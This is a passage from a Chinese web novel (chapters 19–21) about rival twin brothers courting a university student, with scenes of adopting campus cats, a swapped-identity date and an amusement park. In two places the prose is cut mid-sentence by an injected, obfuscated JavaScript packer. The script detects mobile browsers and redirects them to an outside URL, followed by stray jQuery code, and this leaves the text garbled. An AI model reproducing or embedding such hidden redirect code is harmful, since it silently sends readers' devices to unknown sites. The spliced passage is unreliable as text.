季行月轻手轻脚打开门,果不其然看见床上躺着的拱起,呼吸起伏平稳。 他踮着脚偷偷溜进去,没敢用手机电筒,借着手机屏幕的光,在书桌前找到季舒阳挂在电脑椅背上的书包。黄色的猫咪挂件挂在书包拉链上。 季行月一喜,蹲在椅子旁,借着手机光,正要把挂件拆下,冷不防听见一声质问:“你在做什么?” 房间的灯被人打开,如同天光骤亮,季行月被光线刺得眯起眼,抬手去遮,眼睛缝里瞧见季舒阳下床走过来,神态清明,不像刚睡醒的模样。 “你怎么装睡?”季行月第一反应自己被耍。 “是你在我快睡着时吵醒我。”季舒阳面无表情应对他的倒打一耙,居高临下睨着他,“怎么,跟人鬼混太多,穷到当起家贼?” “谁说我来偷钱的,”季行月起身跟他站在同一高度,气势不能输,“我只是来拿回我的东西!” 季舒阳视线扫过他指着的猫咪挂件。 前几天去找李再星,从李再星口中,他已经知道,跟她同款的这个挂件并非流行趋势的巧合。 季舒阳抿起唇,“现在这是我的。” 季行月拎起椅子上的书包,“这本来就是我送你的,我现在不想送了。” 季舒阳同样抓住书包,“送出去的东西,你没权利要回去。” 两人面对面僵持着,谁也不让谁。 两兄弟因为一个物件而发生争执,已经是十多年之前的事。 因为是双胞胎,所以从小到大的吃穿用度都一模一样,才不会显得父母偏心,也避免比较争吵。 但有些东西不可避免地只会有一份。 比如份量更多的宠爱,比如期待更多的称赞,又比如眼前的猫咪挂件。 又或者是,某个人的真心。 无言对视。 房间里死一般寂静。 两人的神色从置气较劲,不约而同变成某种凝重。 季舒阳看着面前的同胞兄弟,心脏沉重如吸足水的海绵。 自出生前就捆绑在一起的命运,让他们之间有着比任何人更深的默契。 所以他既痛苦,又毫不意外地看见季行月低下头,轻轻道歉。 “哥,对不起。” “我也喜欢李再星。” 19.第 19 章 对仅比自己早几分钟出生的季舒阳,季行月向来直呼其名,只在有求于他时,才会用上哥哥的称呼。 所以季舒阳无比清楚,季行月的道歉,只是坦白,而非认错。 更非求和。 季舒阳垂眼看着书包上的猫咪挂件,挤眉弄眼的神态总让人想起李再星那日在猫咪天堂时的可爱模样。 长久的沉默,他终于出声:“李再星确实很可爱,很善良,很真诚,是个很好的人——” 他的反应让季行月意外。 季行月想过他会生气,会觉得被背叛,甚至还会揍自己,却没想到他会如此平静,夸赞李再星的优点,像是肯定他喜欢上李再星也无可厚非。 他的大度让季行月心生愧疚,季行月抬起头,想说以后可以公平竞争,却又听到季舒阳的下半句。 “——以后也会是个很好的嫂子。” “……?” 公平竞争的话卡在嗓子眼,季行月傻了眼:“你是不是误会什么了?我说我喜欢她,是想和她恋爱的那种喜欢。” 季舒阳面色不改:“现在还不晚,你可以把这种喜欢变成对长辈的尊敬。” “……” 季行月方才的那丝愧疚瞬间烟消云散,“屁的尊敬屁的长辈啊,你们俩八字还没一撇呢,她怎么就是我嫂子,不能是你弟妹?” “是我先喜欢她。” “爱情这东西哪来的先来后到!” 再一次针尖对麦芒,无声硝烟弥漫二人之间。 “要说喜欢,她现在也喜欢我,喜欢的是季行月。”季行月刻意咬重自己名字的重音,好让季舒阳认清现实,知难而退。 季舒阳却蓦地笑了,薄唇扯出讽刺弧度:“你确定她喜欢的是真正的季行月?” 最熟悉亲近的人往往最知道往哪处扎刀才最致命。 季舒阳紧盯着弟弟骤变的脸色,用最平静的语气戳破最虚伪的假象,“她喜欢的,只是装出来的你。” 季行月脸色唰白。 无法反驳,因为季舒阳说得没错。 他自己比任何人都要清楚这点。 和优秀的季舒阳不一样,他需要费尽心机扮乖讨巧才能被人喜欢,所以才每天费力维持好人人设。 李再星所看到的他,也是装模作样的他。 一旦发现他的本性,绝对会失望透顶。 就像今晚,她听信他是季舒阳的谎话时,表情明显松了口气。她也是那么想的吧,季行月是个阳光开朗的好人,不可能发脾气,也不可能打架揍人。 “就、就算这样又能怎样?” 季行月已经没刚才那么有底气,但还是强撑着坚持,“即使是装出来的我,也还是我的一部分!” 季舒阳嗤笑一声,不置可否。 而后,面对着季行月,他扬起一抹亲和力拉满的微笑。 仿佛精细计算过,无论眼神,还是嘴角弧度,都和平日的季行月如出一辙,连季行月自己都产生在照镜子的幻觉。 “你可以装,我也可以。” 就连语气,都无二异。 分不清是被震惊,还是被吓到,季行月不由得退后一步,“你、你这个疯子。” 季舒阳倏地收起笑容,对他的评价不屑一顾,“谢谢夸奖。” …… “哇趣,没想到咱们学校竟然还有这种狗东西!” “就是说啊,好端端一个大学生竟然招|嫖,还引以为荣发到学校群里,也太恶心了!” 李再星叼着包子赶去上早八的时候,听到关柔和王佳佳在义愤填膺议论着什么。 难得见她俩对八卦感兴趣,李再星也起了好奇的心思,“发生什么事了?” 关柔和王佳佳你一言我一语,给她转述昨晚惊爆整个青大的丑闻。 说是经管系大二的一个男生喝醉酒,把自己□□的聊天记录发给别人,结果发到了几千人的校园群,当场社死。 这事闹得很大,甚至上了微博热搜,引来一片议论。学校为了降低影响,今天一早就出了通知,勒令那个学生退学,也会对其他人严查。 虽然学校不让大家在网上过多传播,损坏学校声誉,但学生们私底下的议论一刻也没停过。 关柔看了眼最新消息,连忙把手机递到李再星面前:“听说那个□□男今天早上在群里发疯,说他是被人陷害,还被人打进了医院,你快看是谁打的他!” 李再星看了眼手机,刚咽的包子差点卡在嗓子眼。 季季季行月?! 这事怎么跟他有关系? 难道昨天晚上季舒阳揍的那个人就是这个□□男? 时间能对得上,喝酒也能对得上,但这个人怎么声称揍他的是季行月? “虽然他发疯说是季行月打了他,但群里没有一个信他的,都在说季行月人很好,跟他关系还不错,平时还总请他吃饭,不可能打他。” “而且这人前言不搭后语,一会说季行月揍了他,一会又说季行月给他喊的救护车,自相矛盾。” 关柔还在转述最新的传言,笃定□□男是在撒谎。 李再星的心情却一言难尽。 □□男其实没在撒谎,她就是……目击证人。 不过揍他的人不是季行月,而是季舒阳。 根据群里说的,这个□□男是季行月的同班同学,仗着季行月性格好,又受女生欢迎,把季行月当肥羊薅,安排他各种聚餐联谊,为自己牵线找女友。 这么看来,昨晚季舒阳揍他,是为了帮受欺负的弟弟出头。 李再星昨晚还觉得季舒阳性格恶劣,今天得知缘由,季舒阳的形象突然又变得正义起来。 也为自己对他的那一脚,产生了一丝丝歉疚。 正这么想着,手机突然弹出消息提醒。 点进去一看,是条好友申请:你好,我是季舒阳。 短短七个字让李再星手忙脚乱。 季舒阳怎么会加她微信?难不成是看到这些传言,以为是她传出去的,来兴师问罪? 他哪来的她微信?该不会是季行月告诉他的吧? 李再星纠结许久才同意好友申请,在对方说第一句话之前,飞快为自己辩解。 李再星:你昨晚打架的事,我可谁都没告诉,我到今天都还没跟季行月说过一句话呢! 季舒阳没有马上回复,也不知道是信了还是没信。 李再星抢占先机,先倒打一耙:明明是你打的人,季行月反而还要给你背锅,幸亏他性格好风评好,不然要被你害惨了。 过了好一会儿,季舒阳才回复:昨晚打架,吓到你了吗? 李再星有些莫名,昨晚还故意吓她,这会儿又担心起她了,又是新一轮恶作剧吗? 李再星问:你该不会又想负负得正,再吓我一跳吧? 季舒阳:没有。 季舒阳:我有事想请你帮忙。 原来不是兴师问罪,季舒阳还真有事拜托,拜托的事也让李再星意外。 他想领养学校的流浪猫,但不知道该怎么操作,说是从季行月那里得知她对这事有所了解,所以来找她帮忙。 学校有专门的流浪猫社团管理校猫,定期tnr,为它们提供冬天的临时猫窝,管理公众号,审核领养人。李再星就是流浪猫社团的成员之一。 有人愿意领养流浪猫,自然是好事,尤其在这么冷的冬天,流浪猫很难过冬。 正好今天下午,两人都没课,李再星当即跟季舒阳约了两点在一教见面。 也因为下午没课,室友们都没定闹钟,李再星也没想起这茬,午觉睡过头,醒过来时已经一点五十八。 她连忙下床,飞速洗了把冷水脸,一边着急忙慌赶过去,一边给季舒阳发消息:抱歉,我会迟到几分钟,但马上就到! 季舒阳也没有催她,回复:不急,你慢慢来。 虽然他说了不急,但李再星还是一路小跑过去。 一路奔跑,吸进肺里的冷空气冻得她难受,最终还是在离一教大楼几十米远停下,喘着粗气往那边走。 今天是冬季常见的阴天,整片天空都雾蒙蒙的。 李再星却远远就看见那个高瘦的熟悉身影。 即使穿着厚厚的冬季外套,身形依旧笔直挺拔。 一眼就看见他的原因,除了那高大出挑的身材,还有他身上穿着的红外套白裤子绿围巾。 尤其是那抹红,惹眼的过分,不注意都不行。 李再星走过去,近距离更看清他身上的各种时尚单品小装饰,也又戴了耳钉。 是因为快到圣诞节了,所以才把自己打扮得像棵圣诞树? 明明最近到昨晚穿得都还算正常,今天又奇形怪状得让人两眼一黑。 李再星虚抹一把汗:“你跟季行月不愧是两兄弟,连穿衣品味都一模一样。” 季舒阳朝她笑笑,对她的评价不置可否。 好在李再星此前克服了些许潮男恐惧症,没之前那么不自在,一边带着他去社团登记填表,一边跟他详细讲解领养校猫的流程和事宜。 领养人条件审核通过后,再由社团的人负责抓猫送养,因为是流浪猫,出现场合不定,所以抓到猫的时间不定。 “没想到你要领养的猫竟然就是呼噜和趴菜,以后在学校里见不到它们,我还有点舍不得呢。” 呼噜和趴菜是李再星带去绝育和放归的,所以对它们的感情多少有些不一样,要不是她妈妈对猫毛过敏,她本该要领养的。 猫咪家养和流浪的生存条件天差地别,李再星的这句舍不得也算半开玩笑,季舒阳却回得很认真:“平时我会把他们养在出租屋,寒暑假才带回家,你什么时候想见它们,可以随时来。” 李再星忍不住看他一眼,后者朝她微微一笑。 他本就长得好看,身上带着干净率直的少年气,此刻的笑格外亲切。 也令人心动。 偏偏是个幼稚恶趣味的潮男! 李再星起了一身鸡皮疙瘩,昨晚都那样暴露本性,他今天竟然还能若无其事装模作样。 不过一直这么演戏,应该也挺累的。 虽然才跟他见过三面,但经历过昨晚,李再星也不再跟他客气。 李再星扯着嘴角干笑,“在我面前就不用装了,我连你打架的样子都见过,跟我随意点就行。” 季舒阳笑容一顿,神色微妙地变了变。 从她的对话里,不难猜出昨天晚上是季行月跟人打架被她撞见,而后冒用了他的身份。但两人之间具体发生了什么,他无从得知。 “昨晚的我,性格很差劲吧?”季舒阳试探一问。 “看来你没有酒后断片,”李再星轻哼了声,控诉他昨晚的幼稚,“你昨晚弹我脑门的那一下,现在都还疼呢。” 其实那一下并没疼多久,但控诉嘛,自然要往夸大了说。 季舒阳微抿起唇。 季行月下手确实不知轻重,竟然顶着他的身份,做了这么过分的事。 尽管冤枉,季舒阳也只能背下这锅,代季行月替他道歉,“对不起,你要打回来吗?” 李再星没想到他今天变得这么正经,反倒不知道说什么了,“算、算了吧,看在你领养呼噜和趴菜的份上,我不跟你计较。” 其实也没想过计较。 带季舒阳走完领养猫的审核流程,李再星也算完成了这个委托,“接下来只要等呼噜和趴菜出现就行了,最近天气冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509865|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它们神出鬼没不太好抓,不过抓到猫咪后,我们会第一时间通知你的。没什么事我就先走了?” “还有事。” 男生似乎生怕她马上离开,语气稍显着急。 他垂在身侧的手指微蜷,“猫咪用品……我不知道该怎么买。” 虽然没直接提出来让她帮忙,但他这种示弱,比直接提出来更有杀伤力。 尤其,他说这话时,望向她的眼神恳切而希冀。 “好吧,”李再星无奈,“我跟你一起去买,谁让我人好呢。” 忐忑顷刻放下,季舒阳弯唇一笑,“谢谢,我请你吃饭。” 李再星也不跟他客气,轻哼一声:“那我可要吃大餐。” 猫粮猫砂之类宠物必需品在网上买更划算,快递送到家也省得费劲提,李再星给他推荐了几款猫粮猫砂和其他的必需品,又跟他一起去了趟宠物店,挑了些玩具和零食。 买完东西,还没到饭点。李再星原想着就在学校附近随便吃一顿,没想到季舒阳真的要带她去吃大餐,正是她上次跟季行月一起去的那家餐厅。 是巧合吗?还是他从季行月那听说了他们来这吃过? “我说的大餐是在学校附近随便搓一顿,用不着这么破费来这里。” 毕竟只跟他见过三面,他还是她crush的哥哥,李再星没法心安理得占他便宜。 “不会破费,”季舒阳把手里的东西交给服务生拿去代为保管,“放心,我的钱花不完。” 李再星语塞。 好像突然被贴脸炫富。 其实季舒阳只是在阐述事实,他不像季行月总需要跟人聚餐玩乐,人际关系单一,用钱的地方少。除了家里给的生活费,他有时想练练手,帮人改代码也能挣个外快。赚的比花的多,所以才说花不完。 李再星并不知道内情,对他这话起了仇富心理,“既然你钱多要请客,那我就狠狠地放开吃了!” 趁她在兴头上,季舒阳借机开口:“我是第一次养猫,很多事情不太了解,以后还要经常向你请教。” 李再星很讲义气地保证:“没问题!有事你尽管找我,我对猫咪很了解的!” 季舒阳看着她拍着胸脯打包票的模样,丝毫未觉他的真实目的。 他弯唇笑了笑。 真可爱。 真单纯。 得让她离季行月远点。 冬天的夜晚来得早,两人吃完饭,从餐厅出来时,天已经完全黑了。 李再星没有围围巾的习惯,冷风从光秃秃的脖子钻进衣领,冻得她一个激灵,好在很快打到出租车。 打车坐到校门口,季舒阳原要送李再星回宿舍,李再星看他提了好些东西,走来走去不方便,便婉拒:“我自己回去就行了,你提这么多东西,也挺重的,不用送我。今天谢谢你的大餐啦,我吃得很开心。” 她转头正要走,却被季舒阳抓住手腕,“等等。” 季舒阳放下手中拎着的东西,取下自己的围巾,向前一步。他站在她身前,配合她身高,微低下头,削瘦修长的手指拿着围巾,一圈一圈,仔细给她围上。 李再星整个人愣住。 目光所及是少年的嘴唇,下巴,然后是喉结。 不知为何,不敢往上看。 呼吸间,两人呼出的白气在冷空气中相遇,纠缠,消散。 鼻尖隐约嗅到他身上淡淡的木质香,干干净净的,很熟悉。 季舒阳给她围好围巾,拎起东西后退一步,朝她微笑道别:“下次再见。” 李再星猛地回神,连忙点头:“哦、哦、再、再见!” 她机械转身,往宿舍的方向走,大脑却一片空白。 戴在脖子上的围巾还残留着他的体温,暖烘烘的温度好似沿着皮肤一路往上蔓延,烘得她脸颊都发热。 李再星一边快步走,一边举着手掌在脸庞扇风。 怎、怎么回事? 她喜欢的明明是季行月,对着季舒阳心跳这么快做什么? 总不能是因为他们俩长着同一张脸吧? 难不成她是只看脸的颜控? 李再星心乱了一路,快走到宿舍大楼时,手机忽然响了声。 拿出来一看,是季行月发来的消息,这会儿正好是饭点,他约她一起吃晚饭。 李再星没来由地一阵心虚,不好意思说自己刚和他哥吃完,编了个看上去有说服力的借口:我刚下课,和室友们已经在去吃饭的路上了。 正好刚打第八节课下课铃,这理由看着就很真实,完全看不出捏造。 然而季行月马上就打来微信电话,李再星手忙脚乱接下后,听见他说的第一句就是:“你下午不是没课吗?” 李再星惊得停在原地,脱口而出:“你怎么知道?” 季行月在电话那边笑:“好啊,果然在骗我。” 谎话被当场揭穿,李再星脸上才褪下的温度又升了上来,自觉低下脑袋,跟他道歉:“对不起,我其实已经吃完晚饭了。” “是真的吃完晚饭了,还是在生气躲我?”季行月问。 他的后半句让李再星想起自己无疾而终的告白,酸涩陡然弥漫心头。 她把头垂得更低:“没、没躲你……” “真的没躲?” 男生磁性的声音不仅透过电话的电流,更从头顶落下来,她低着头的视野里也多出一双停留的白鞋。 李再星一愣,下意识抬头。 刚刚才告别的一张脸又映入眼帘,唯有打扮穿着不一样,圣诞树一样缤纷的色彩换成简单清爽的蓝和白,身上也没有多余配饰。 季行月食指轻弹了下她额头,唇角微勾,带着几分散漫笑意:“撒谎。” 20.第 20 章 李再星惊愕:“你怎么在这?” 季行月用半开玩笑的口吻说:“因为某人这几天一直躲着我,所以来着守株待兔咯。” 李再星顿觉心虚:“我没躲……” “好嘛,这时候还想狡辩,我可真要生气了啊。”季行月作势抱起双臂。 李再星连忙道歉:“对不起对不起嘛。” 季行月却置若罔闻,叹气道:“唉,比起生气,我还是心痛更多……” 瞥一眼李再星焦急的脸,他不着痕迹翘了下嘴角,“想让我不心痛,其实也简单,就看某人愿不愿意咯。” 李再星没丝毫犹豫,“我愿意!” 季行月等的就是她这句话,从外套口袋拿出一张门票:“下周五,陪我去这里。” “游乐场?” 李再星疑惑他为什么突然约自己去游乐场,还没能问出口,就见季行月拧起半边眉毛,“不愿意?” “没有没有,”李再星连忙否认,“我一千个一万个愿意!” 她把头摇得跟拨浪鼓似地,季行月忍不住揉了一把,拍拍她脑袋,笑容里带着自己都不曾察觉的宠溺,“乖~” …… “我滴个乖乖,这摆明了是约会邀请吧?” 李再星第一时间把这大好消息告诉了韩栀子,韩栀子既激动又疑惑,“但他之前不是拒绝了你吗?” 李再星逻辑自洽地为季行月找借口,“其实上次也没有直接拒绝,万一是真像你说的那样,他那次是因为受了什么情伤呢。” 韩栀子嫌弃道:“你人还没追到,就开始护犊子了。” 李再星在电话这边摇头晃脑,“nonono,这次不是我追他,是他追我!” 话音才落,手机叮咚响了两声。 李再星拿起看了眼,是季舒阳的微信消息。 她停下脚步,迟疑出声,“这……” “怎么了?”韩栀子问。 “季舒阳说他刚好有两张多出了的电影票,问我周五有没有空去看。” 听到关键词,韩栀子比被约的当事人还激动:“季行月是不是在追你我不知道,季舒阳这家伙绝对是在追你!” 韩栀子自诩对季舒阳足够了解,在季舒阳那里,没有什么刚好的事,只要他想,什么都刚好,要是他不想,天王老子来了也是没空。 韩栀子的搞事之火熊熊燃烧,“你让他再买张电影票,你跟他弟弟一块去。” “……” 要真听了这损话,那就不是去看电影而是去拍电影了。 李再星想了想,组织措辞婉拒季舒阳: -我那天已经和人有约了,不好意思啊,你约其他人吧。 季舒阳很快回复:和季行月? 李再星惊了,难道双胞胎真有什么心灵感应不成? 她一边感慨,一边发了个害羞点头的猫咪表情过去。 …… 钥匙插入门锁,季行月哼着歌换鞋,一进屋就看见两只肥肥的橘猫分别盘踞在沙发上,十分松弛地眯着眼打盹,仿佛它们才是这间屋子的主人。 季行月有那么一瞬间以为自己进错家门。 他看向正好端着咖啡杯从房间里出来的季舒阳,问:“哪来的猫啊?” “捡的。” “怎么突然要养猫?” “你有意见?”季舒阳看都没看他一眼,声音冷淡,“有意见就回去住宿舍。” 季行月无语,“我还什么都没说呢。” 季行月对养猫没什么意见,不要他费心铲屎喂粮就行。 两只猫气定神闲地盘成团,季行月走到其中一只趴着睡的橘猫旁边,伸手想去逗逗它,不料对方忽然哈气,伸爪子使劲一挠。 他的手背破了皮,顿显两道红痕。 “我靠这猫好凶!” 季行月吃痛嚎了声,对着手背连连吹气。 忽然又听季舒阳十分嫌弃地开口:“谁让你没事去招惹它。” 语气极其阴阳怪气:“一点小伤就嚎成这样,你是豌豆公主转世?” 季行月:? 季行月发现季舒阳今天对他敌意尤其大,“你今天吃火药了?” 季舒阳没说话,一边泡咖啡,一边阴沉沉盯着他,一边喝咖啡,一边阴沉沉盯着他,咖啡喝完了,那双眼睛还是阴沉沉盯着他。 季行月被盯得都快汗毛倒立,季舒阳终于开口:“和李再星出去玩很开心?” “那当然——你怎么知道?” 季行月得意到一半发现不对,不可置信瞪着他,“你监控我?” 季舒阳冷呵:“你有被监控的价值么?” 季行月也不笨,稍微动了动脑子,用十分得意又欠揍的语气推测,“你是约李再星出去,被她拒绝了吧?因为她先跟我有约了哈哈哈!” 他猜的完全正确。 季舒阳脸上更加阴沉,“想打架吗?” 季行月立刻窜回房间,用行动告诉他不想。 他的认怂并没让季舒阳的心情好起来。 啧,又慢了一拍。 季舒阳板着脸拿出手机,下单了两盒便塞停。 回到房间,又觉下泻药这招不算完美,想了想,打开衣柜,搬出最底下的箱子,拿出箱子里的麻绳,试着扯了两下。 很结实,绑人正合适。 …… 周五下午。 最后一节课的下课铃一响,李再星就火速收拾东西,托室友帮自己把书包带回宿舍,她自己则拎着小挎包往校门口跑。 她下午有课,所以约了在校门口见面。 飞奔到一半,李再星突然想起自己今天用卷发器卷了头发,这么一跑,发型得全散没,于是立刻停下脚步,一边平复呼吸,一边从挎包掏出气垫,紧急检查妆容发型,这才继续迈着不快不慢地步伐往校门口走。 冬季日头短,路灯已经一盏盏地亮起来。正刮着风,枝头的树叶簌簌作响,有两个女生拎着烤红薯从身边路过,空气里飘浮着甜香。 离校门口还有一二十米距离,李再星看见那儿站着的高瘦男生,她所熟悉的身影。 穿着藏蓝色牛角扣大衣,宽松舒适。他人高腿长,厚实的冬季外套穿在身上,也依旧清俊挺拔。 他轻敛着眼眸,鼻尖呼吸着白气。 李再星很想知道,他在出神地想着什么。 当他忽然抬眼,朝这边看过来,她似乎一瞬间真的知道了。 他弯起的眼眸,扬起的嘴角,随呼吸吐出的白气,都在告诉她—— 我正在想你。 顾不上风吹乱头发,李再星迈开步子,跑到他面前,“季行月,你来得好快呀。” 她是一路跑过来的,原本卷得很服帖的空气刘海,被风吹得向左右两边撇开,短而圆的杏眼亮晶晶的,像小鹿眼睛般清澈。 季舒阳垂头看着她,抬手,手指轻拨她的刘海:“我不是他。” 在对方错愕的眼神中,他微微弯唇:“我是季舒阳。” 李再星懵了,约她的明明是季行月,怎么来的是季舒阳? 她下意识后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515807|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退半步,“抱、抱歉,我认错人了。” 季舒阳看上去并不介意被认错,“我本来也是替他来的。” “什么?” 李再星没能马上从这巨大转折中缓过来,又听季舒阳说,“季行月临时有点事,今天来不了了。” “这样啊……” 李再星不疑有他,但语气难掩遗憾。 季舒阳也听出了她的遗憾,神色黯淡了几分,“我不是他,很可惜吗?” “不不不,绝对没有!”李再星饶是再没情商也不可能在这时候点头,连忙摆手,“我只是有些意外你会替季行月过来,一般临时有事都是直接鸽了的哈哈……” 她的说辞其实略显苍白,但似乎对季舒阳很有效。 季舒阳弯了弯嘴角,“因为对象是你。” 李再星一愣,不合时宜地,又或者说恰到时机地,脑海里一瞬间闪过韩栀子的话。 季舒阳难不成真的喜欢她? 但她和季舒阳统共也没见过几次面呀? 难道真像电视剧里说的,一见钟情? 李再星惊了,从去游乐场的路上到抵达游乐场,都在暗暗观察季舒阳。 他身形清瘦,但不单薄,腰细腿长,藏蓝色的牛角扣大衣,衬得他皮肤更加白得过分。 侧脸的轮廓分明,线条流畅,给人的第一印象就是帅气,干干净净的少年气。 这样好看的一个人,该是被许多人暗恋的对象,怎么可能对她一见钟情呢? 李再星想得太出神,没注意迎面而来的路人。 季舒阳没出声提醒,但很及时地伸手揽了她一下,李再星踉跄半步,肩膀撞上他精壮的胸膛。 她下意识抬头,目光所及,是男生的喉结,在薄薄的皮肤下锋利凸起,危险又禁欲。 朦胧的气息钻入鼻间,像是被雨水打湿的桂花,带些木质调,清新馥郁又不失沉稳。 心跳毫无征兆地加速,像失控的鼓点。 “抱歉,我该提醒你的。” 听到季舒阳的道歉,李再星这才回过神来,有些慌乱地从他身边退开,“是我走神了,谢谢你啊。” 说这话时,李再星并不敢看他的眼睛。 抬手在脸边扇了扇风,她转移话题,“我好像穿多了,有点热,我去买冰淇淋吃。” “我去吧,那里排队人多,你找个长椅坐着等我。你要什么口味的?” “薄荷巧克力。” 李再星正好需要时间冷静冷静,没有跟他推辞。 目送男生转身往冰淇淋小店走的背影,她长长舒了口气,又十分无措不解。 怎么回事? 不是季舒阳疑似喜欢她吗?她的心脏怎么跳得这么厉害? 自己想不通的事情,李再星第一时间想去问韩栀子。 然而,给韩栀子的消息还没发出去,手机先弹出季行月的微信消息。 -你在哪。 李再星一愣,手比脑子快,回复:游乐场呀。 对方又问:游乐场哪?拍张照给我。 李再星先按照吩咐做了,又问他:你的急事处理完了吗?是要现在过来? 季行月没再回复。 李再星呆着盯着手机等了一会儿,肩膀被人轻轻拍了下,她抬眼,是已经买好冰淇淋的季舒阳。 “怎么了吗?”季舒阳问。 “季……” 李再星刚想说季行月好像要过来,才发出一个音节,身后忽然传来带着怒气的一声。 “季!舒!阳!” 21.第 21 章 两人同时朝声源望过去,只见穿着白色羽绒服的男生气势汹汹朝这边走过来,俊朗的脸难掩怒气。 有那么一瞬间,李再星觉得季行月是要冲过来给季舒阳一拳。 她下意识挡在季舒阳面前,这不是保护季舒阳,而是保护季行月。 她可是目睹了季舒阳揍别人的场面,武力值爆表。 “季、季行月!”她着急喊住怒气冲冲的男生,试图转移话题,“你的急事处理完啦?” “急事?”季行月冷呵了声,刀一样的眼神剜向罪魁祸首。 什么狗屁急事,他午睡一觉醒来被这个狗东西绑在了床上! 面对他刀子般的眼神,季舒阳面色不改:“要全说出来吗?” 他语气很淡,却把那个全字咬得格外清晰。 季行月当然听懂了他的威胁,要是他把这事说出来,他就会把互换身份这事一并交代。 这狗东西!完全就是疯子! 李再星完全在状况外,看看这个,又看看那个,迟疑地打探:“要说什么事情呀?” 季行月撇过绷着的脸,没说话。 他气得压根不知道说什么! 季舒阳则是朝她笑了笑,一改方才不动声色的威胁,神色有些腼腆,“其实今天是我们的生日。” 李再星微微睁大眼,惊喜又懊悔:“你们俩怎么不早说呀,我什么礼物都没准备呢!” 季舒阳微微弯唇,“你已经送了我很珍贵的生日礼物。” 他指的是呼噜和趴菜。 李再星明白他的意思,手指不自觉摸了摸脸,又看向季行月,把手里的冰淇淋递给他,“原来你约我今天出来,是要庆祝生日呀,那可要陪你好好玩一通。” 季行月熄了怒火,但没接她的冰淇淋,朝季舒阳扬下巴,“我不要你的,我要季舒阳的。” 李再星有点尴尬,他似乎还在跟季舒阳闹脾气,但不知道是为了什么事,她也不好去问。 季舒阳倒不在意把冰淇淋给他,笑得与世无争,“给你吧,我正好不太想吃。” 他这话,好像是说我不要才给你的,季行月反倒不想接了。 气氛又降至冰点。 李再星灵光一闪,指向一个流动小摊:“我们去那里买头箍吧!” 说完拉着季行月往摊子那边走。 季舒阳视线落在她拉着季行月的手上,眸光一暗,抬眼对上季行月瞥来的得意视线,不悦地抿了抿唇。 走到摊子前,李再星给自己选了个白色猫耳头箍,又问季行月:“你想要哪个?” 季行月自然要选跟她一样的,却在他出手的同时,另一只手也拿住了那只白色猫耳头箍。 兄弟俩对视,互不谦让,看不见的硝烟弥漫。 李再星连忙问老板:“还有白色猫耳吗?” 老板为难道:“刚好都卖完了,只剩这两个白猫耳。” 气氛一瞬间变得更紧张。 电光石火间,李再星把手里冰淇淋塞给季行月,踮起脚,把自己的白色猫耳戴到季行月头上,又分开他们的手,把另一个白色猫耳戴到季舒阳头上,自己则选了个黑色的。 “好啦,这样大家就都满意啦!是吧?” 她看向季行月,眼睛亮晶晶的,满脸想要得到他的肯定。 季行月勉强被哄好,不情不愿地嗯了声。 李再星又扭头看向季舒阳,是同样的神色。 季舒阳却把白色猫耳摘下来了。 李再星以为他不领情,却见男生伸手,把他手里的另一支薄巧冰淇淋递过来。 李再星稀里糊涂地接过,季舒阳抬手,将猫耳发箍轻轻地戴在了她头上。 “我戴黑色也可以。” 他看着她,微微笑。 他明明没触碰到她,李再星却莫名有些脸热。 她身旁另一侧,季行月视线在她变粉的耳根停了几秒,下颌线条紧绷,十分不爽。 他看了眼季舒阳,眼珠子一转,出声提议:“我们先去坐摩天轮怎么样?” 李再星当即回应:“好呀。” 她有些不好意思地说:“其实我今天卷了头发来的,要是先坐那些刺激项目的话,就没办法再摩天轮上拍好看照片了。” 季行月朝她笑笑,又瞥一眼一言不发的季舒阳,在她看不见的角度,温柔笑意顿变满满恶意。 今天是工作日,游乐场的人比周末少,不用排很久的队。 但李再星却第一次感觉度秒如年。 让她度秒如年的两个罪魁祸首,就在她身后。 季舒阳和季行月两个人个子都高,身形修长挺拔,脸蛋还是一等一的帅气,站在人群中,即使不做什么也依旧惹眼。 人群中有一个鹤立鸡群的帅哥,就足够引人注目,她身后有两个,而且是两个长相一模一样的双胞胎帅哥…… 李再星已经无法确切去形容这感觉了。 很想装作不认识他们俩,但偏偏他们三个人头上都带着猫耳头箍。 于是,落在她身上的视线,也愈发多了起来。 就在李再星想要偷摸着把头箍取下来时,排在她前面,时不时装作不经意侧身往那兄弟俩身上瞧的女生,终于彻底转过身来,小声地同她搭话。 “姐妹,我能问你一个问题吗?” 李再星以为她是想问身后两人的联系方式,想说跟她交换个位置,让她直接去向当事人要。 却在她还没来得及说这话的时候,女生已经默认她答应了,用极小但难掩八卦的声音问:“后面两个,哪个是你男朋友啊?跟你穿情侣装那个,还是跟你戴同款猫耳那个?” 听到她说情侣装,李再星这才发现她今天穿的外套,也是牛角扣毛呢大衣,只不过是杏色,乍一看,还真和季舒阳的外套有些相称。 李再星尴尬摆手,也小声地回她:“两个都不是。” 明明是否认,女生的眼睛却乍亮起来,一脸意味深长的暧昧:“我懂了。” 她甚至竖起大拇指:“姐妹真牛!” 李再星:“……” 鸡同鸭讲之后,李再星更站立难安,直到进到摩天轮里才终于大松一口气。 她第一个进仓,季行月紧跟在她身后钻进去,抢占先机坐到她身旁,还不忘朝季舒阳投去挑衅一眼——当然,这是在李再星没看向他时做的事。 摩天轮缓缓上升,玻璃窗外,林立高楼尽揽眼底。 